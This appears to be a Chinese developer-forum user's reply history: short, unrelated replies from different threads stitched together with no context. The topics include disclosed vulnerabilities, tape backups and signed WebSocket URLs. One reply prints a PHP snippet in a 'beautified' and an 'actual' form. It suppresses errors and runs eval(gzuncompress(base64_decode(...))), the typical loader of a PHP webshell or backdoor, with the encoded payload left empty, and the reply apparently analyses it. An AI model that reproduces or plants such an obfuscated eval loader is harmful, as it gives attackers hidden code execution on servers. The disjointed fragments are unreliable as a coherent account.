@hello2090 #4

确实没看懂。。

他举的那些 app 不都是服务端做的吗，跟客户端有啥关系？

debian

全职？

楼主挺有勇气啊。。

@testonly #8

你要这么说的话那确实没办法了。。

毕竟这玩意只有自己心里清楚，别人都不可能知道。

但像这种公开披露的漏洞，一般来说都不会是自己露出来的，自己写了个漏洞然后自己露出来，不至于。。

没记错的话，罗太君有个经典头衔叫行业冥灯。。

@testonly #1

开源项目：？

许多开源项目漏洞还真不是故意埋的。。

希望正式版是惊喜而不是惊吓。。

前字节开发 去 工地打灰 。。。

太吓人了。。

想请问下楼主是什么情况下考虑到用磁带的？

感觉。。好麻烦而且成本很高。

我这边有个场景，不知道是不是跟楼主说的是类似的玩意。

后端需要给前端返回一个带 sign 的 wss 地址，前端连接该地址实现 sdp 的实时交换。

看心情。

但个人不会登陆接口返回用户信息。

可读性美化后：
<?php
$password = "****";
error_reporting(E_ERROR | E_PARSE);
@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
$filename = '$password=\'' . $password . '\';eval(gzuncompress(base64_decode(\'\')));';
$Base = Create_Function('', $filename);
$Base();

实际代码：
<?php
$password = "****";
error_reporting(E_ERROR | E_PARSE);
@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
eval(gzuncompress(base64_decode('')));

因为，到那个时候就不好加了啊，一堆问题。。